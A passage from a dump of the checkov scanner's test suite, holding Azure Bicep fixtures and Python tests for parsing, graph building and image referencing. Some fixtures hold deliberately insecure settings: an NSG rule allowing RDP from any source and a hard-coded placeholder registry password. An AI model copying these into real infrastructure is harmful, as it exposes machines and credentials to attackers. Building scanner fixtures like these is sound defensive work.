'10.0.0.0/16'\n      ]\n    }\n    subnets: [\n      {\n        name: subnet1Name\n        properties: {\n          addressPrefix: '10.0.0.0/24'\n        }\n      }\n      {\n        name: subnet2Name\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          networkSecurityGroup: {\n            id: nsg2.id\n          }\n        }\n      }\n    ]\n  }\n}\n\n// This will be your Primary NIC\nresource nic1 'Microsoft.Network/networkInterfaces@2020-06-01' = {\n  name: nic1Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet1Name)\n          }\n          privateIPAllocationMethod: 'Dynamic'\n          publicIPAddress: {\n            id: pip.id\n          }\n        }\n      }\n    ]\n    networkSecurityGroup: {\n      id: nsg.id\n    }\n  }\n}\n\n// This will be your Secondary NIC\nresource nic2 'Microsoft.Network/networkInterfaces@2020-06-01' = {\n  name: nic2Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet2Name)\n          }\n          privateIPAllocationMethod: 'Dynamic'\n        }\n      }\n    ]\n  }\n}\n\n// Public IP for your Primary NIC\nresource pip 'Microsoft.Network/publicIPAddresses@2020-06-01' = {\n  name: publicIPAddressName\n  location: location\n  properties: {\n    publicIPAllocationMethod: 'Dynamic'\n  }\n}\n\n// Network Security Group (NSG) for your Primary NIC\nresource nsg 'Microsoft.Network/networkSecurityGroups@2020-06-01' = {\n  name: networkSecurityGroupName\n  location: location\n  properties: {\n    securityRules: [\n      {\n        name: 'default-allow-rdp'\n        properties: {\n          priority: 1000\n          sourceAddressPrefix: '*'\n          protocol: 'Tcp'\n          destinationPortRange: '3389'\n          access: 'Allow'\n          direction: 'Inbound'\n          sourcePortRange: '*'\n          destinationAddressPrefix: '*'\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/definitions_context/resources/definitions_example2.bicep",
    "content": "param virtualMachineName string = 'example-vm'\n\nparam location string\n\nparam acrName string = 'exmaple-acr'\n\nparam acrNestedName string = 'exmaple-nested-acr'\n\nparam keyData3 string = 'key-data-3'\n\nparam publisher string = 'MicrosoftWindowsServer'\n\nparam nicId array = [\n  {\n    id: 'example-id'\n  }\n]\n\nparam publicKey2 object = {\n  keyData: 'key-data-2'\n  path: 'path-2'\n}\n\nparam publicKey4 object = {\n  keyData: 'key-data-4'\n  path: {\n    name: 'path-4'\n  }\n}\n\nresource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    networkProfile: {\n      networkInterfaces: nicId\n    }\n    osProfile: {\n      linuxConfiguration: {\n        ssh: {\n          publicKeys: [\n            {\n              keyData: 'key-data-1'\n              path: 'path-1'\n            }\n            publicKey2\n            {\n              keyData: keyData3\n              path: 'path-3'\n            }\n            {\n              keyData: publicKey4.keyData\n              path: publicKey4.path.name\n            }\n          ]\n        }\n      }\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: publisher\n      }\n    }\n  }\n  tags: {\n    displayName: 'Container Registry'\n    'container.registry.name': acrName\n    'container.registry': {\n      name: acrNestedName\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/definitions_context/test_definitions_context.py",
    "content": "import os\nimport unittest\nfrom pathlib import Path\n\nfrom checkov.common.parsers.node import DictNode\nfrom checkov.bicep.parser import Parser\nfrom checkov.bicep.utils import get_scannable_file_paths\nfrom checkov.bicep.graph_builder.context_definitions import build_definitions_context, DEFINITIONS_KEYS_TO_PARSE\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\nRELATIVE_PATH = \"resources\"\nFILE1_NAME = \"definitions_example1.bicep\"\nFILE2_NAME = \"definitions_example2.bicep\"\n\n\nclass TestDefinitionsContext(unittest.TestCase):\n    def setUp(self):\n        self.test_root_dir = Path(TEST_DIRNAME) / RELATIVE_PATH\n        bicep_parser = Parser()\n        self.files_path = get_scannable_file_paths(self.test_root_dir)\n        definitions, definitions_raw, parsing_errors = bicep_parser.get_files_definitions(file_paths=self.files_path)\n        self.definitions_context = build_definitions_context(definitions, definitions_raw)\n        self.file1 = self.definitions_context[f\"{self.test_root_dir}/{FILE1_NAME}\"]\n        self.file2 = self.definitions_context[f\"{self.test_root_dir}/{FILE2_NAME}\"]\n\n    def test_parameters_values(self):\n        self.assertEqual(len(self.definitions_context), len(self.files_path))\n\n        file1_parameters = self.file1[DEFINITIONS_KEYS_TO_PARSE[\"parameters\"]]\n        self.assertEqual(len(file1_parameters), 5)\n        self.validate_definition_lines(file1_parameters[\"adminUsername\"], 4, 5, 2)\n        assert file1_parameters[\"adminUsername\"][\"type\"] == \"string\"\n        self.validate_definition_lines(file1_parameters[\"storageAccountType\"], 11, 16, 6)\n        assert file1_parameters[\"storageAccountType\"][\"type\"] == \"string\"\n        self.validate_definition_lines(file1_parameters[\"virtualMachineSize\"], 1, 2, 2)\n        assert file1_parameters[\"virtualMachineSize\"][\"type\"] == \"string\"\n\n        file2_parameters = self.file2[DEFINITIONS_KEYS_TO_PARSE[\"parameters\"]]\n        self.assertEqual(len(file2_parameters), 9)\n        self.validate_definition_lines(file2_parameters[\"virtualMachineName\"], 1, 1, 1)\n        assert file2_parameters[\"virtualMachineName\"][\"type\"] == \"string\"\n        self.validate_definition_lines(file2_parameters[\"acrName\"], 5, 5, 1)\n        assert file2_parameters[\"acrName\"][\"type\"] == \"string\"\n        self.validate_definition_lines(file2_parameters[\"publicKey4\"], 24, 29, 6)\n        assert file2_parameters[\"publicKey4\"][\"type\"] == \"object\"\n\n    def test_resources_value(self):\n        file1_resources = self.file1[DEFINITIONS_KEYS_TO_PARSE[\"resources\"]]\n        self.assertEqual(len(file1_resources), 8)\n        self.validate_definition_lines(file1_resources[\"Microsoft.Compute/virtualMachines.vm\"], 33, 82, 50)\n        self.validate_definition_lines(file1_resources[\"Microsoft.Storage/storageAccounts.diagsAccount\"], 84, 93, 10)\n        self.validate_definition_lines(file1_resources[\"Microsoft.Network/virtualNetworks.vnet\"], 102, 129, 28)\n\n        file2_resources = self.file2[DEFINITIONS_KEYS_TO_PARSE[\"resources\"]]\n        self.assertEqual(len(file2_resources), 1)\n        self.validate_definition_lines(file2_resources[\"Microsoft.Compute/virtualMachines.vm\"], 31, 72, 42)\n\n    def test_skipped_check_exists(self):\n        skipped_checks = self.file1[DEFINITIONS_KEYS_TO_PARSE[\"resources\"]][\"Microsoft.Storage/storageAccounts.diagsAccount\"][\"skipped_checks\"]\n        self.assertCountEqual(\n            skipped_checks,\n            {\"CKV_AZURE_35\":\n                 {\"result\": \"SKIPPED\", \"suppress_comment\": \" just skip it\"},\n             \"CKV_AZURE_36\":\n                 {\"result\": \"SKIPPED\", \"suppress_comment\": \" skip that too\"}\n             }\n        )\n\n    def validate_definition_lines(self, definition: DictNode, start_line, end_line, code_lines):\n        self.assertEqual(definition[\"start_line\"], start_line)\n        self.assertEqual(definition[\"end_line\"], end_line)\n        self.assertEqual(len(definition[\"code_lines\"]), code_lines)\n"
  },
  {
    "path": "tests/bicep/graph/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/graph/graph_builder/examples/mixed/main.bicep",
    "content": "param virtualMachineName string = 'example-vm'\n\nparam exampleId string = 'example-id'\n\nparam publicKey2 object = {\n  keyData: 'key-data-2'\n  path: 'path-2'\n}\n\nvar nicId = [\n  {\n    id: exampleId\n  }\n]\n\nvar publicKey4 = {\n  keyData: 'key-data-4'\n  path: {\n    name: publicKey2.path\n  }\n}\n\nresource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    networkProfile: {\n      networkInterfaces: nicId\n    }\n    osProfile: {\n      linuxConfiguration: {\n        ssh: {\n          publicKeys: [\n            {\n              keyData: 'key-data-1'\n              path: 'path-1'\n            }\n            publicKey2\n            {\n              keyData: keyData3\n              path: 'path-3'\n            }\n            {\n              keyData: publicKey4.keyData\n              path: publicKey4.path.name\n            }\n          ]\n        }\n      }\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: publisher\n      }\n    }\n  }\n  tags: {\n    displayName: 'Container Registry'\n    'container.registry.name': acrName\n    'container.registry': {\n      name: acrNestedName\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/graph_builder/examples/parameter/main.bicep",
    "content": "param virtualMachineName string = 'example-vm'\n\nparam location string\n\nparam acrName string = 'exmaple-acr'\n\nparam acrNestedName string = 'exmaple-nested-acr'\n\nparam keyData3 string = 'key-data-3'\n\nparam publisher string = 'MicrosoftWindowsServer'\n\nparam nicId array = [\n  {\n    id: 'example-id'\n  }\n]\n\nparam publicKey2 object = {\n  keyData: 'key-data-2'\n  path: 'path-2'\n}\n\nparam publicKey4 object = {\n  keyData: 'key-data-4'\n  path: {\n    name: 'path-4'\n  }\n}\n\nresource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    networkProfile: {\n      networkInterfaces: nicId\n    }\n    osProfile: {\n      linuxConfiguration: {\n        ssh: {\n          publicKeys: [\n            {\n              keyData: 'key-data-1'\n              path: 'path-1'\n            }\n            publicKey2\n            {\n              keyData: keyData3\n              path: 'path-3'\n            }\n            {\n              keyData: publicKey4.keyData\n              path: publicKey4.path.name\n            }\n          ]\n        }\n      }\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: publisher\n      }\n    }\n  }\n  tags: {\n    displayName: 'Container Registry'\n    'container.registry.name': acrName\n    'container.registry': {\n      name: acrNestedName\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/graph_builder/examples/variable/main.bicep",
    "content": "var virtualMachineName = 'example-vm'\n\nvar location = 'westeurope'\n\nvar acrName = 'exmaple-acr'\n\nvar acrNestedName = 'exmaple-nested-acr'\n\nvar keyData3 = 'key-data-3'\n\nvar publisher = 'MicrosoftWindowsServer'\n\nvar nicId = [\n  {\n    id: 'example-id'\n  }\n]\n\nvar publicKey2 = {\n  keyData: 'key-data-2'\n  path: 'path-2'\n}\n\nvar publicKey4 = {\n  keyData: 'key-data-4'\n  path: {\n    name: 'path-4'\n  }\n}\n\nresource vm 'Microsoft.Compute/virtualMachines@2021-11-01' = {\n  name: virtualMachineName\n  location: location\n  properties: {\n    networkProfile: {\n      networkInterfaces: nicId\n    }\n    osProfile: {\n      linuxConfiguration: {\n        ssh: {\n          publicKeys: [\n            {\n              keyData: 'key-data-1'\n              path: 'path-1'\n            }\n            publicKey2\n            {\n              keyData: keyData3\n              path: 'path-3'\n            }\n            {\n              keyData: publicKey4.keyData\n              path: publicKey4.path.name\n            }\n          ]\n        }\n      }\n    }\n    storageProfile: {\n      imageReference: {\n        publisher: publisher\n      }\n    }\n  }\n  tags: {\n    displayName: 'Container Registry'\n    'container.registry.name': acrName\n    'container.registry': {\n      name: acrNestedName\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/graph/graph_builder/test_local_graph.py",
    "content": "from collections import Counter\nfrom pathlib import Path\n\nfrom checkov.bicep.graph_builder.graph_components.block_types import BlockType\nfrom checkov.bicep.graph_builder.local_graph import BicepLocalGraph\nfrom checkov.bicep.parser import Parser\n\nEXAMPLES_DIR = Path(__file__).parent.parent.parent / \"examples\"\n\n\ndef test_build_graph():\n    # given\n    test_file = EXAMPLES_DIR / \"playground.bicep\"\n    template, _ = Parser().parse(test_file)\n    local_graph = BicepLocalGraph(definitions={test_file: template})\n\n    # when\n    local_graph.build_graph(render_variables=False)\n\n    # then\n    assert len(local_graph.vertices) == 24\n    assert len(local_graph.edges) == 33\n\n    assert len(local_graph.vertices_by_block_type[BlockType.TARGET_SCOPE]) == 1\n    assert len(local_graph.vertices_by_block_type[BlockType.PARAM]) == 5\n    assert len(local_graph.vertices_by_block_type[BlockType.VAR]) == 10\n    assert len(local_graph.vertices_by_block_type[BlockType.RESOURCE]) == 8\n    assert len(local_graph.vertices_by_block_type[BlockType.MODULE]) == 0\n    assert len(local_graph.vertices_by_block_type[BlockType.OUTPUT]) == 0\n\n    out_edge_counts = Counter([e.origin for e in local_graph.edges])\n    in_edge_counts = Counter([e.dest for e in local_graph.edges])\n\n    assert out_edge_counts == Counter(\n        {\n            16: 9,\n            19: 5,\n            20: 6,\n            17: 3,\n            18: 2,\n            21: 4,\n            22: 2,\n            23: 2,\n        }\n    )\n    assert in_edge_counts == Counter(\n        {\n            5: 8,\n            6: 2,\n            2: 1,\n            3: 1,\n            1: 1,\n            20: 1,\n            21: 1,\n            17: 1,\n            13: 1,\n            4: 1,\n            15: 1,\n            9: 1,\n            10: 2,\n            11: 2,\n            18: 1,\n            7: 1,\n            22: 1,\n            23: 1,\n            8: 1,\n            12: 1,\n            14: 1,\n            19: 2,\n        }\n    )\n"
  },
  {
    "path": "tests/bicep/graph/graph_builder/test_renderer.py",
    "content": "from pathlib import Path\n\nfrom checkov.bicep.graph_manager import BicepGraphManager\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\n\n\ndef test_render_parameter():\n    # given\n    test_dir = Path(__file__).parent / \"examples/parameter\"\n    graph_manager = BicepGraphManager(db_connector=NetworkxConnector())\n\n    # when\n    local_graph, _ = graph_manager.build_graph_from_source_directory(source_dir=str(test_dir), render_variables=True)\n\n    # then\n    vertex = local_graph.vertices[local_graph.vertices_by_name[\"vm\"]]\n\n    assert vertex.config[\"config\"] == {\n        \"name\": \"example-vm\",\n        \"location\": \"location\",\n        \"properties\": {\n            \"networkProfile\": {\n                \"networkInterfaces\": [{\"id\": \"example-id\"}]\n            },\n            \"osProfile\": {\n                \"linuxConfiguration\": {\n                    \"ssh\": {\n                        \"publicKeys\": [\n                            {\"keyData\": \"key-data-1\", \"path\": \"path-1\"},\n                            {\"keyData\": \"key-data-2\", \"path\": \"path-2\"},\n                            {\"keyData\": \"key-data-3\", \"path\": \"path-3\"},\n                            {\"keyData\": {\n                                \"operator\": {\n                                    \"type\": \"property_accessor\",\n                                    \"operands\": {\n                                        \"operand_1\": {\"keyData\": \"key-data-4\", \"path\": {\"name\": \"path-4\"}},\n                                        \"operand_2\": \"keyData\"\n                                    }\n                                }\n                            },\n                             \"path\": {\n                                 \"operator\": {\n                                     \"type\": \"property_accessor\",\n                                     \"operands\": {\n                                         \"operand_1\": {\"keyData\": \"key-data-4\", \"path\": {\"name\": \"path-4\"}},\n                                         \"operand_2\": {\n                                             \"operator\": {\n                                                 \"type\": \"property_accessor\",\n                                                 \"operands\": {\"operand_1\": \"path\", \"operand_2\": \"name\"}\n                                             }\n                                         }\n                                     }\n                                 }\n                             }}\n                        ]\n                    }\n                }\n            },\n            \"storageProfile\": {\n                \"imageReference\": {\"publisher\": \"MicrosoftWindowsServer\"}\n            }\n        },\n        \"tags\": {\n            \"displayName\": \"Container Registry\",\n            \"'container.registry.name'\": \"exmaple-acr\",\n            \"'container.registry'\": {\"name\": \"exmaple-nested-acr\"},\n        },\n    }\n\n\ndef test_render_variable():\n    # given\n    test_dir = Path(__file__).parent / \"examples/variable\"\n    graph_manager = BicepGraphManager(db_connector=NetworkxConnector())\n\n    # when\n    local_graph, _ = graph_manager.build_graph_from_source_directory(source_dir=str(test_dir), render_variables=True)\n\n    # then\n    vertex = local_graph.vertices[local_graph.vertices_by_name[\"vm\"]]\n\n    assert vertex.config[\"config\"] == {\n        \"name\": \"example-vm\",\n        \"location\": \"westeurope\",\n        \"properties\": {\n            \"networkProfile\": {\n                \"networkInterfaces\": [\n                    {\"id\": \"example-id\"}\n                ]\n            },\n            \"osProfile\": {\n                \"linuxConfiguration\": {\n                    \"ssh\": {\n                        \"publicKeys\": [\n                            {\"keyData\": \"key-data-1\", \"path\": \"path-1\"},\n                            {\"keyData\": \"key-data-2\", \"path\": \"path-2\"},\n                            {\"keyData\": \"key-data-3\", \"path\": \"path-3\"},\n                            {\n                                \"keyData\": {\n                                    \"operator\": {\n                                        \"type\": \"property_accessor\",\n                                        \"operands\": {\n                                            \"operand_1\": {\n                                                \"keyData\": \"key-data-4\",\n                                                \"path\": {\"name\": \"path-4\"}\n                                            },\n                                            \"operand_2\": \"keyData\"\n                                        }\n                                    }\n                                },\n                                \"path\": {\n                                    \"operator\": {\n                                        \"type\": \"property_accessor\",\n                                        \"operands\": {\n                                            \"operand_1\": {\n                                                \"keyData\": \"key-data-4\",\n                                                \"path\": {\"name\": \"path-4\"}\n                                            },\n                                            \"operand_2\": {\n                                                \"operator\": {\n                                                    \"type\": \"property_accessor\",\n                                                    \"operands\": {\n                                                        \"operand_1\": \"path\",\n                                                        \"operand_2\": \"name\"\n                                                    }\n                                                }\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    }\n                }\n            },\n            \"storageProfile\": {\n                \"imageReference\": {\n                    \"publisher\": \"MicrosoftWindowsServer\"\n                }\n            }\n        },\n        \"tags\": {\n            \"displayName\": \"Container Registry\",\n            \"'container.registry.name'\": \"exmaple-acr\",\n            \"'container.registry'\": {\"name\": \"exmaple-nested-acr\"},\n        },\n    }\n\n\ndef test_render_mixed():\n    # given\n    test_dir = Path(__file__).parent / \"examples/mixed\"\n    graph_manager = BicepGraphManager(db_connector=NetworkxConnector())\n\n    # when\n    local_graph, _ = graph_manager.build_graph_from_source_directory(source_dir=str(test_dir), render_variables=True)\n\n    # then\n    vertex = local_graph.vertices[local_graph.vertices_by_name[\"vm\"]]\n\n    assert vertex.config[\"config\"] == {\n        \"name\": \"example-vm\",\n        \"location\": \"location\",\n        \"properties\": {\n            \"networkProfile\": {\n                \"networkInterfaces\": [\n                    {\"id\": \"example-id\"}\n                ]\n            },\n            \"osProfile\": {\n                \"linuxConfiguration\": {\n                    \"ssh\": {\n                        \"publicKeys\": [\n                            {\"keyData\": \"key-data-1\", \"path\": \"path-1\"},\n                            {\"keyData\": \"key-data-2\", \"path\": \"path-2\"},\n                            {\"keyData\": \"keyData3\", \"path\": \"path-3\"},\n                            {\n                                \"keyData\": {\n                                    \"operator\": {\n                                        \"type\": \"property_accessor\",\n                                        \"operands\": {\n                                            \"operand_1\": {\n                                                \"keyData\": \"key-data-4\",\n                                                \"path\": {\n                                                    \"name\": {\n                                                        \"operator\": {\n                                                            \"type\": \"property_accessor\",\n                                                            \"operands\": {\n                                                                \"operand_1\": {\n                                                                    \"keyData\": \"key-data-2\",\n                                                                    \"path\": \"path-2\"\n                                                                },\n                                                                \"operand_2\": \"path\"\n                                                            }\n                                                        }\n                                                    }\n                                                }\n                                            },\n                                            \"operand_2\": \"keyData\"\n                                        }\n                                    }\n                                },\n                                \"path\": {\n                                    \"operator\": {\n                                        \"type\": \"property_accessor\",\n                                        \"operands\": {\n                                            \"operand_1\": {\n                                                \"keyData\": \"key-data-4\",\n                                                \"path\": {\n                                                    \"name\": {\n                                                        \"operator\": {\n                                                            \"type\": \"property_accessor\",\n                                                            \"operands\": {\n                                                                \"operand_1\": {\n                                                                    \"keyData\": \"key-data-2\",\n                                                                    \"path\": \"path-2\"\n                                                                },\n                                                                \"operand_2\": \"path\"\n                                                            }\n                                                        }\n                                                    }\n                                                }\n                                            },\n                                            \"operand_2\": {\n                                                \"operator\": {\n                                                    \"type\": \"property_accessor\",\n                                                    \"operands\": {\n                                                        \"operand_1\": \"path\",\n                                                        \"operand_2\": \"name\"\n                                                    }\n                                                }\n                                            }\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    }\n                }\n            },\n            \"storageProfile\": {\n                \"imageReference\": {\n                    \"publisher\": \"publisher\"\n                }\n            }\n        },\n        \"tags\": {\n            \"displayName\": \"Container Registry\",\n            \"'container.registry.name'\": \"acrName\",\n            \"'container.registry'\": {\"name\": \"acrNestedName\"},\n        },\n    }\n"
  },
  {
    "path": "tests/bicep/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/image_referencer/provider/__init__.py",
    "content": ""
  },
  {
    "path": "tests/bicep/image_referencer/provider/test_azure.py",
    "content": "from unittest import mock\n\nimport pytest\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.terraform.image_referencer.provider.azure import AzureTerraformProvider\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n            \"file_path_\": \"/batch.bicep\",\n            \"__end_line__\": 26,\n            \"__start_line__\": 1,\n            \"properties\": {\n                \"virtualMachineConfiguration\": {\n                    \"containerConfiguration\": {\n                        \"containerImageNames\": [\"nginx\", \"python:3.9-alpine\"],\n                        \"containerRegistries\": {\n                            \"password\": \"myPassword\",  # checkov:skip=CKV_SECRET_6 test secret\n                            \"registryServer\": \"myContainerRegistry.azurecr.io\",\n                            \"username\": \"myUserName\",\n                        },\n                        \"type\": \"DockerCompatible\",\n                    },\n                }\n            },\n            \"resource_type\": \"Microsoft.Batch/batchAccounts/pools\",\n        }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    azure_provider = AzureTerraformProvider(graph_connector=graph)\n    images = azure_provider.extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(file_path=\"/batch.bicep\", name=\"nginx\", start_line=1, end_line=26),\n        Image(file_path=\"/batch.bicep\", name=\"python:3.9-alpine\", start_line=1, end_line=26),\n    ]\n\n\n@pytest.mark.parametrize('graph_framework', GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources_with_no_image(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/batch.bicep\",\n        \"__end_line__\": 26,\n        \"__start_line__\": 1,\n        \"properties\": {\n            \"virtualMachineConfiguration\": {\n                \"containerConfiguration\": {\n                    \"containerImageNames\": [],\n                    \"containerRegistries\": {\n                        \"password\": \"myPassword\",\n                        \"registryServer\": \"myContainerRegistry.azurecr.io\",\n                        \"username\": \"myUserName\",\n                    },\n                    \"type\": \"DockerCompatible\",\n                },\n            }\n        },\n        \"resource_type\": \"Microsoft.Batch/batchAccounts/pools\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        azure_provider = AzureTerraformProvider(graph_connector=graph)\n        images = azure_provider.extract_images_from_resources()\n\n    # then\n    assert not images\n"
  },
  {
    "path": "tests/bicep/image_referencer/resources/azure/batch.bicep",
    "content": "resource pool 'Microsoft.Batch/batchAccounts/pools@2022-06-01' = {\n  name: 'example'\n\n  properties: {\n    scaleSettings: {\n      fixedScale: {\n        targetDedicatedNodes: 1\n      }\n    }\n    virtualMachineConfiguration: {\n      containerConfiguration: {\n        containerImageNames: [\n          'centos7'\n        ]\n        containerRegistries: [\n          {\n            // checkov:skip=CKV_SECRET_6 test secret\n            password: 'myPassword'\n            registryServer: 'myContainerRegistry.azurecr.io'\n            username: 'myUserName'\n          }\n        ]\n        type: 'DockerCompatible'\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/image_referencer/resources/azure/container_instance.bicep",
    "content": "resource containerGroup 'Microsoft.ContainerInstance/containerGroups@2021-10-01' = {\n  name: 'example'\n\n  properties: {\n    initContainers: [\n      {\n        name: 'init'\n        properties: {\n          image: 'busybox'\n        }\n      }\n    ]\n    containers: [\n      {\n        name: 'reader'\n        properties: {\n          image: 'ubuntu:20.04'\n          resources: {\n            requests: {\n              cpu: 1\n              memoryInGB: 2\n            }\n          }\n        }\n      }\n    ]\n    osType: 'Linux'\n  }\n}\n"
  },
  {
    "path": "tests/bicep/image_referencer/resources/azure/web.bicep",
    "content": "resource webContainerApp 'Microsoft.Web/containerApps@2021-03-01' = {\n  name: 'example'\n\n  properties: {\n    kubeEnvironmentId: containerAppEnv.id\n    configuration: {\n      ingress: {\n        external: true\n        targetport: targetPort\n        allowInsecure: false\n        traffic: [\n          {\n            latestRevision: true\n            weight: 100\n          }\n        ]\n      }\n    }\n    template: {\n      revisionSuffix: 'firstrevision'\n      containers: [\n        {\n          name: proxy\n          image: nginx\n          resources: {\n            cpu: cpuCore\n            memory: '${memorySize}Gi'\n          }\n        }\n      ]\n      scale: {\n        minReplica: minReplica\n        maxReplica: maxReplica\n      }\n    }\n  }\n}\n\nresource appContainerApp 'Microsoft.App/containerApps@2022-03-01' = {\n  name: 'example'\n\n  properties: {\n    kubeEnvironmentId: containerAppEnv.id\n    configuration: {\n      ingress: {\n        external: true\n        targetport: targetPort\n        allowInsecure: false\n        traffic: [\n          {\n            latestRevision: true\n            weight: 100\n          }\n        ]\n      }\n    }\n    template: {\n      revisionSuffix: 'firstrevision'\n      containers: [\n        {\n          name: app\n          image: 'python:3.9'\n          resources: {\n            cpu: cpuCore\n            memory: '${memorySize}Gi'\n          }\n        }\n      ]\n      scale: {\n        minReplica: minReplica\n        maxReplica: maxReplica\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/bicep/image_referencer/test_manager.py",
    "content": "from unittest import mock\n\nimport pytest\n\nfrom checkov.bicep.image_referencer.manager import BicepImageReferencerManager\nfrom checkov.common.images.image_referencer import Image\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS, set_graph_by_graph_framework, \\\n    add_vertices_to_graph_by_graph_framework\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_extract_images_from_resources(graph_framework):\n    # given\n    resource = {\n        \"file_path_\": \"/batch.bicep\",\n        \"__end_line__\": 26,\n        \"__start_line__\": 1,\n        \"properties\": {\n            \"virtualMachineConfiguration\": {\n                \"containerConfiguration\": {\n                    \"containerImageNames\": [\"python:3.9-alpine\"],\n                    \"containerRegistries\": {\n                        \"password\": \"myPassword\",  # checkov:skip=CKV_SECRET_6 test secret\n                        \"registryServer\": \"myContainerRegistry.azurecr.io\",\n                        \"username\": \"myUserName\",\n                    },\n                    \"type\": \"DockerCompatible\",\n                },\n            }\n        },\n        \"resource_type\": \"Microsoft.Batch/batchAccounts/pools\",\n    }\n    graph = set_graph_by_graph_framework(graph_framework)\n    add_vertices_to_graph_by_graph_framework(graph_framework, resource, graph)\n\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        images = BicepImageReferencerManager(graph_connector=graph).extract_images_from_resources()\n\n    # then\n    assert images == [\n        Image(\n            file_path=\"/batch.bicep\",\n            name=\"python:3.9-alpine\",\n            start_line=1,\n            end_line=26,\n            related_resource_id=\"/batch.bicep:None\",\n        ),\n    ]\n"
  },
  {
    "path": "tests/bicep/image_referencer/test_runner_azure_resources.py",
    "content": "from pathlib import Path\nfrom unittest import mock\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.output.report import CheckType\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.bicep.runner import Runner\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\n\nRESOURCES_PATH = Path(__file__).parent / \"resources/azure\"\n\n\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_batch_resources(mocker: MockerFixture, graph_framework):\n    # given\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    file_name = \"batch.bicep\"\n    image_name = \"centos7\"\n    code_lines = \"1-27\"\n    test_file = RESOURCES_PATH / file_name\n    runner_filter = RunnerFilter(run_image_referencer=True)\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_license_statuses_async,\n    )\n\n    # when\n    with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}):\n        reports = Runner().run(root_folder=\"\", files=[str(test_file)], runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    bicep_report = next(report for report in reports if report.check_type == CheckType.BICEP)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(bicep_report.resources) == 0\n    assert len(bicep_report.passed_checks) == 0\n    assert len(bicep_report.failed_checks) == 0\n    assert len(bicep_report.skipped_checks) == 0\n    assert len(bicep_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 3\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).musl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).openssl\",\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 1\n    assert len(sca_image_report.failed_checks) == 4\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n    assert len(sca_image_report.image_cached_results) == 1\n\n    assert sca_image_report.image_cached_results[0][\"dockerImageName\"] == \"centos7\"\n    assert sca_image_report.image_cached_results[0][\"relatedResourceId\"].endswith(\n        \"bicep/image_referencer/resources/azure/batch.bicep:Microsoft.Batch/batchAccounts/pools.pool\"\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": 